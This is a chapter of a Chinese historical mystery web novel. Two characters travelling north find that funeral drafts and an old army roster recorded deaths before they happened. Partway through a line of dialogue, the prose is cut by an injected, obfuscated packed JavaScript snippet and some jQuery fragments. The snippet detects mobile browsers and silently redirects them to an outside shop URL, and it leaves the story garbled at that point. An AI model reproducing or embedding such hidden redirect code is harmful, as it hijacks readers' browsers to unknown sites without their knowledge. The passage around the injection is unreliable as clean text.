车厢里一时很静，只有外头马蹄踏过官道时传来的闷响，一下一下透过车板传进来，像是将话题底下那层看不见的紧绷一点点敲实了。宋昭坐在她对面，背后是被风掀得偶尔轻晃的车帘，日光从缝隙里漏进来，落在他肩头和膝上，将那身深色衣袍照出几分冷硬的纹理。他方才问那一句时，语气甚至算得上平静，可季柠知道，这人一旦把问题这样直截了当地抛出来，便说明他心里早已把前后种种想过一遍，如今只是要从她这里补上最后那一块空白。
季柠低头理了理膝上的旧案，手指在发黄纸页边缘轻轻摩挲过去，半晌才开口：“正常的预拟丧仪，只该拟礼，不该拟案。棺木规格、停灵日数、哭灵名册、发丧路线、祭文分寸、谥号高低，这些才是凶礼司真正该提前备着的东西。因为人还活着，事情没有发生，谁也不该替他把死前那一段写得太清楚。若连怎么死、死在哪里、因为什么死都一并写实了，那就不叫预拟，倒像是先把案子判完，再倒回来补礼制。”
她说到这里，抬眼看了宋昭一眼，见他仍旧安静听着，才继续道，“不过凡事总有例外。丧仪规格高低，本就与死因相关。若是寿终，礼数是一套；若是病故，又是一套；若是殉国、战死、殉职，朝廷要给的体面便更高。就拿将军第一次那份底册来说，既写忠烈战死，那停灵、哭祭、发丧、抚恤便都得按武将殉国的旧例往上抬；第二次若改成暴病身亡，丧礼自会从简，许多不该惊动的人也就不必再写进名册里。死因，有时确实要先拟。”
她这番话说得不紧不慢，既解释了规矩，也把为什么底册里会有死因这一层点明白了。可说完之后，她便极自然地停了下来，并没有把真正最要紧的那句一并说出口。
正常底册会拟死因，却不会拟到宋昭那样，连西郊石桥、北营官道、遇伏中箭都写得分毫不差。那才是最不对劲的地方，也是她在将军府听见霍青说出路线后，真正生出寒意的缘由。
可她没有说。
她仍旧不算全然信他。
北上这一路，看似是宋昭带着她，给她车马，替她从京城那一团线里硬生生扯出另一条路，可她心里那根弦却始终没有彻底松下去。她知道宋昭如今最想查的是什么，也知道自己父亲之死恰恰是眼下最容易拿来撬开她嘴的一把钥匙。
宋昭若只是为了查西郊那一局、查凶礼司、查那几份底册，他未必不会把“你父亲的旧案”当成顺手拎出来的诱饵。她不是不信他这个人，而是不信任何一个身在局中的人会平白无故替别人讨公道。
车厢里沉默了片刻，外头的风掀起车帘一角，又很快落下。宋昭看着她，目光比方才更沉静了些，像是在分辨她这番话里究竟有多少是真，多少是她留给自己的后手。过了片刻，他才淡淡道：“所以你那日拿到我的底册时，觉得不对，不只是因为它写了死因。”
季柠心里微微一紧，面上却半点不露，只垂眼笑了笑：“将军这话问得巧。下官是礼部掌簿，不是刑部断案的。看见底册写得细，自然觉得奇怪，可奇怪归奇怪，也不至于立刻就知道哪里错得最厉害。凶礼司这种地方最不缺的就是晦气和怪规矩。”
宋昭没有被她这句话轻轻带过去。他看得出来，季柠方才那番解释虽说得周全，却分明留了一层。她说了为什么要拟死因，却没说为什么不该拟事出经过；她说了礼与死因之间的规制关系，却偏偏把最关键的那点蹊跷藏了回去。这种留白他并不陌生，在朝堂上、战场上、甚至昨日宫宴里，他都见过太多。只是季柠这样的人，把自己的防备藏得既轻又稳，倒叫人很难一把将她逼到底。她怕是真怕，疑也是真疑，可偏偏怕归怕，疑归疑，该伸手的时候她还是伸了手。
宋昭静静看了她一会儿，忽然从袖中取出一张折得极平的纸，递了过去。
“那你看看这个。”
季柠一怔，下意识伸手接住。纸张并不新，边角微卷，显然不是从礼部誊抄房里刚写出来的清白文书，倒像是从某本旧册上摘出来的抄页。她展开一看，只见上头密密写着三十九个名字、军籍、调令日期和死亡记录，格式与朝中普通礼册不同，倒更像边军内部按月归整的伤亡和调补簿。
景和九年，北境旧军册抄页。
季柠心里一跳，抬头看了宋昭一眼。他神色依旧平平，像这张抄页不过是顺手从哪本军册里撕下来的一页纸，而不是他昨夜在宫里或者军中费了力气才找来的东西。她低头继续看，先是快速扫过最上头那几行，随后视线慢慢落到其中一个名字上，指尖也跟着停住了。
赵槐。
军籍，北营前锋营。
调令日期，景和九年九月十七，调往鹿鸣坡哨口。
死亡记录却写的是，景和九年九月十二，于鹿鸣坡巡防时中箭身亡。
季柠的呼吸轻轻一顿。
她盯着那两行字看了片刻，又低头去核对前后几人的调令与伤亡。旁人的先后尚且说得过去，唯独赵槐这一条像是生生被人错写进了不该在的地方
——他九月十七才被调往鹿鸣坡，可九月十二的死亡记录里，便已经把他死在鹿鸣坡写了进去。
这不是简单的誊错，边军旧军册里，调令和伤亡是分列两栏的，文吏再糊涂，也很难把一处地名这样不偏不倚地提前写进去。唯一的解释是：在赵槐被正式调去鹿鸣坡之前，已经知道他会死在那里。
季柠慢慢抬起头，眼底第一次有了掩不住的冷意：“这不是错册？”
“不是”宋昭道。
“若只是随军文吏誊录出错，最多会把日期写乱、军籍写错，绝不会把一个人还没去过的死地提前写进伤亡簿。”季柠将那张抄页重新展开，目光停在赵槐的名字上，声音低了下去，“这和您的底册是一样的。不是先有死，再补文书；而是文书里先写了他会死在那里。”
车厢里不大，外头虽有风，里头却仍旧存着她方才翻旧案时留下的纸墨气。日光从车帘缝隙里漏进来，落在抄页发旧的纸面上，照得那行“鹿鸣坡”三个字格外清晰，也照得季柠脸上的神色比方才更沉了几分。她原本一直怀疑，宋昭此番带她北上，是想借她凶礼司的身份和父亲旧案来顺藤摸瓜；可眼下这张抄页一递，她才第一次真切地感觉到，宋昭也并不是空手来试探她。他自己手里，也已经抓住了某条线头。
这个认知让她心里那层始终绷着的防备微微松了一丝，却又随之生出另一层更难以言明的复杂来。她不喜欢把自己放进旁人的局，可若有人同样握着残破的证据，在一路北上的车厢里安静地递给她看，那感觉便又和单纯被利用不太一样。
宋昭看着她，见她久久不语，才淡淡道：“这是我离京前找到的一批景和九年的旧军册。这一页是我抄下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548100|204238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的。若不是你父亲死前碰过那一批旧册，我未必会留心这种一眼看上去像文吏誊错的小地方。”
季柠握着那页纸，指尖微微收紧，她一时没再轻飘飘地装糊涂。
“所以将军今日来问我，预拟丧仪为什么会写得那样细，”她低头看着纸页，声音不自觉放轻了些，“不是单纯来试我。”
“试你也有。”宋昭说得十分坦然。
季柠：“……”
她方才心里好不容易生出来的那点复杂，顿时又被他这一句噎得不上不下。她抬眼看了他一下，原本还想说句什么，宋昭却已经慢慢将目光落回她脸上，眼底却多了几分不同于最初的沉静：“你说得对。正常预拟只该拟礼，不该拟案。可我想知道的是，凶礼司为什么会允许那样一份底册存在。现在再加上这张旧军册抄页，事情便更清楚了。”
“清楚什么？”季柠问。
“有人不只在替活人备丧仪。”宋昭低声道，“还在替死人提前写死地。”
这话一出，车厢里便静了下来。
外头偶有马蹄踏过碎石的声响，风从车帘外掠过去，卷得帘脚轻轻一晃。车轮还在向北走，路旁景色一寸寸往后退，可车厢里却像被这句话压得忽然慢了半拍。季柠低头看着赵槐那一条死亡记录，心里缓缓沉下一块冷石头。若说宋昭那两份底册还可以勉强解释成有人先设计了他的死局，再把它写进凶礼司，那赵槐这样的无名士兵呢？一个前锋营的小兵，若连他的死地都有人提前写好，那这么多年这只背后的手究竟害死过多少人？
她忽然想起父亲那份预拟底档上被浓墨划去的字，想起“奉命重拟”“不可外泄”“冯嵩验”这些残词，也想起自己从小到大一直信着的那个说法：父亲不过是积劳成疾病倒，再也没起来。
若北境旧军册与凶礼司底册真能这样互相印证，那父亲当年查到的，恐怕远比她现在以为的更深。
她心里一点点发冷，抱着那页抄纸，半晌没有出声。车厢很小，他们离得其实不远，可这一刻谁都没有说话，倒像有一种比平日更奇怪的安静慢慢在两人之间生出来。那安静里有提防未散，有试探未消，也有某种先前一直若有若无、此刻却好像稍稍落了实处的默契。
季柠忽然觉得，北上这一路的风声、车声和那些没说出口的话，都在这小小车厢里碰到了一处。
她刚想开口，车外忽然传来霍青的声音，急而不乱，隔着车帘也带着他那种永远压不住的利落劲儿：“将军，前头青梧驿到了，驿中有人等着。”
宋昭偏头：“谁？”
“太医院的人。”霍青的声音里带了点明显的狐疑，“说是杜医官，奉圣上口谕，往后随军北上，替将军复诊旧伤。”
车厢里骤然一静。
季柠下意识抬头，宋昭的目光也在同一瞬落了过来。那一眼极短，却已经足够将两人方才未说完的话全都压回心里去。冯嵩没来，来的却是另一个太医。“暴病身亡”的第二种死法看似被搁置了一路，却偏偏在他们离京数日、北上半途时，换了一张更不显山露水的面孔，又静静地站到了前方驿站里。
车外风声一阵紧过一阵，吹得帘角轻轻拍在车壁上。远处驿站的屋脊已隐约可见，暮色压下来，檐下灯火也跟着亮起一盏一盏，像一只只耐心等在路边的眼睛。
杜医官。